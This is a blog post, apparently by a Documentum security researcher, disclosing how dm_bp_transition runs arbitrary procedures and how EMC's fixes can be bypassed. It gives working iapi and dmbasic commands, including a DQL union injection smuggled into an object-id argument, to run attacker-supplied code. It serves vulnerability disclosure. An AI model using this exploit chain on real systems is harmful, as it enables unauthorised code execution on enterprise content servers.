What makes api/dmbasic suck

A year ago I discovered a design gap in Documentum lifecyles: though it is required to user have some permissions for both document and dm_policy objects to be able to promote document or attach lifecycle to document:

all lifecycle stuff narrows down to executing either dm_bp_transition or dm_bp_transition_java docbase method, so any user is able to change lifecycle state of any document by executing docbase method directly. Actually, the problem is more serious because dm_bp_transition docbase method is insecure by design – it accepts identifiers of “external” procedures and executes anything that is written there:

'------------------------------------------------------------
Sub BP_Transition(_

...

    userEntryID$,_
    actionID$,_
    userActionID$,_

...

  'Evaluate the user-defined entry criteria
  If (result = True And run_entry = "T") Then
    If (debug = True) Then
      PrintToLog sess, "Run user defined entry criteria."
    End If
    result = RunProcedure(userEntryID, 1, sess, sysID,_
                          user_name, targetState)
  End If

...

  If (procID <> "0000000000000000") Then
    result = CheckStatus("", 1, "loading procedure " & procID, True, errorMsg)
    result = external(procID)
    If (result = True) Then
      If (procNo = 1) Then
        ' --- Running user-defined entry criteria ---
        result = CheckStatus("", 1, "Running EntryCriteria", True, errorMsg)
        On Error Goto NoFunction
        result = EntryCriteria(sessID, objID, userName,_
                               targetState, errorStack)

...

A clear example:

 ~]$ cat external.ebs
Function EntryCriteria() as Boolean
   print "Hello, world!"
   EntryCriteria = True
End Function
 ~]$ cat test.ebs
Sub Test(procedureId$)
  Dim result as Boolean
  sess = dmAPIGet("connect,ssc_dev,dmadmin,dmadmin")
  result = external(procedureId$)
  result = EntryCriteria()
End Sub

 ~]$ iapi ssc_dev -Udmadmin -Pdmadmin
Session id is s0
API> create,c,dm_procedure
...
0801ffd7804368e6
API> setfile,c,l,external.ebs,crtext
...
OK
API> save,c,l
...
OK
API> exit
Bye

 ~]$ dmbasic -f test.ebs -eTest -- 0801ffd7804368e6
Hello, world!
 ~]$ 

I think it’s obvious that correct security fix must do following:

  • Restrict access to dm_bp_transition and dm_bp_transition_java methods
  • Check input parameters of dm_bp_transition method (identifiers of procedures to execute are stored in dm_policy object)

Unfortunately, this is not obvious for EMC (or too hard to implement basic checks using dmbasic) – they decided that the root cause of security vulnerability is a fact that any user is able to create dm_procedure objects (yeah, every man is a potential rapist – let’s cut off penises), and now we have:

API> create,c,dm_procedure
...
0801ffd780436937
API> save,c,l
...
[DM_USER_E_NEED_SU_OR_SYS_PRIV]error:  
  "The current user (test02) needs to have superuser or sysadmin privilege."

Unfortunately external() function in dmbasic accepts not only dm_procedure objects but any dm_sysobject:

API> create,c,dm_document
...
0901ffd780436944
API> setfile,c,l,external.ebs,crtext
...
OK
API> save,c,l
...
OK
API> Bye
 ~]$ dmbasic -f test.ebs -eTest -- 0901ffd780436944
Hello, world!

What did EMC for that? They decided that it is a good idea to load only dm_procedure objects in external() dmbasic’s function:

~]$ strings dmbasic | grep dm_procedure
id,%s,dm_procedure where object_name = '%s' and folder('%s')
id,%s,dm_procedure where r_object_id = '%s'
 ~]$ cat test.ebs
Sub Test(procedureId$)
  Dim result as Boolean
  sess = dmAPIGet("connect,ssc_dev,dmadmin,dmadmin")
  result = external(procedureId$)
  print dmAPIGet("getmessage,c")
  result = EntryCriteria()
End Sub
 ~]$ dmbasic -f test.ebs -eTest -- 0901ffd780436944
[DM_API_W_NO_MATCH]warning:  "There was no match in the docbase for the qualification: 
   dm_procedure where r_object_id = '0901ffd780436944'"

dmbasic: Error 35 in line 6: Sub or Function not defined
 ~]$

Does it look good? Actually, no. I have no idea who invented so ridiculous way to call Documentum RPCs through dmAPIGet/dmAPIExec commands, but concatenating command and arguments into single string and then parsing that string is a bad idea, take a look at API magic:

Session id is s0
API> id,c,dm_procedure where r_object_id='0901ffd780436944,' 
   union select r_object_id from dm_sysobject where r_object_id='0901ffd780436944'
...
0901ffd780436944
API> fetch,c,0901ffd780436944,' union select r_object_id 
   from dm_sysobject where r_object_id='0901ffd780436944
...
OK

Now:

 ~]$ dmbasic -f test.ebs -eTest -- "0901ffd780436944,' union \
> select r_object_id from dm_sysobject where r_object_id='0901ffd780436944"

Hello, world!
 ~]$

5 thoughts on “What makes api/dmbasic suck

  1. Nice post. 🙂 Thank you. What would you suggest to EMC? I think, they should hire someone like you at first place.

    Like

  2. What would you suggest to EMC?

    Actually I already did. During last 8 months I filled twenty reports about documentum security vulnerabilities to CERT (http://cert.org/), here I had chosen CERT because it is completely useless to talk about security with EMC (this blogpost is a good confirmation of my opinion), but I can’t say that CERT achieved any success in interaction with EMC and in next couple of weeks we are going to publish information about 15 unresolved security vulnerabilities in documentum products. My last reaction for ESA-2014-105 (http://msroth.wordpress.com/2014/10/02/documentum-esa-for-multiple-vulnerabilities/) was: https://blog.documentum.pro/?attachment_id=1442

    Like

  3. Pingback: Is it possible to compromise Documentum by deleting object? Typical mistakes | Documentum in a (nuts)HELL
  4. Pingback: Weird release management | Documentum in a (nuts)HELL
  5. Pingback: D2 remote code execution | Documentum in a (nuts)HELL

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s